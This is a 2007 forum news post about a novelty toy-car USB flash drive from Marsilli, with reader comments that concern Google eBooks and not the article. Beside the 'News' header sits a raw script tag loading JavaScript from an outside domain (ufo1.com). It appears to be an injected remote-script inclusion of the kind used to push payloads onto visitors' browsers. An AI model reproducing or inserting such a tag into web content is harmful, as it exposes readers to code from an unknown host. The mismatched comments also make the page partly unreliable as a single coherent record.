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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 23/01/07
Author: PV5150
Source: Engadget


We're not exactly sure what's up with Asia's infatuation with toy cars and shoving completely irrelevant (but entirely useful) features inside of them, but now Marsilli is offering up its own admittedly peculiar flash drive in the shape of a vehicle.

Presumably in direct competition with Gold Kiwi's Bluetooth GPS receiver ride , this Mobile Remote Control Car is a diminutive four-wheeled ride with impressive aerodynamics, a 512MB flash drive built-in, USB connector in place of a central-mounted exhaust, and it even allows users to drive it around a cardboard course with any cellphone.

Of course, we're not entirely sure if all that controlling action is done over Bluetooth or some other propriety channel, but we have strong suspicions every mobile might not be equipped to handle this road burner. Nevertheless, you can probably pick one of these up in the near future at your favorite street corner vendor in Asia, but for now, click on through for more closeups.


Car USB Car USB 2

You can read the original article here

The above images kind of remind me of the novelty Sushi USB drives...

Sushi USB

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Most Recent Comments

22-01-2007, 17:43:34

MikeEnIke
Google may be looking to start yet another business venture that will involve selling eBooks for use with PCs and mobile devices. Check out the news for more information.

Don't forget to discuss this article below.

22-01-2007, 18:13:30

Toxcity
Microsoft better be getting scared!
Google is taking over the world! :eek:

22-01-2007, 18:47:04

blade
These guys never stop do they?!

you have to admit they are good at what they do though.

22-01-2007, 23:35:23

PV5150
Google are shrewd operators. I'd buy from them in ebook format, I love to read

23-01-2007, 04:08:11

Kempez
Google are good but it's no substitute for a good ol' book

I don't find it very comfortable reading on a PC, tho if the interface is good it may be good
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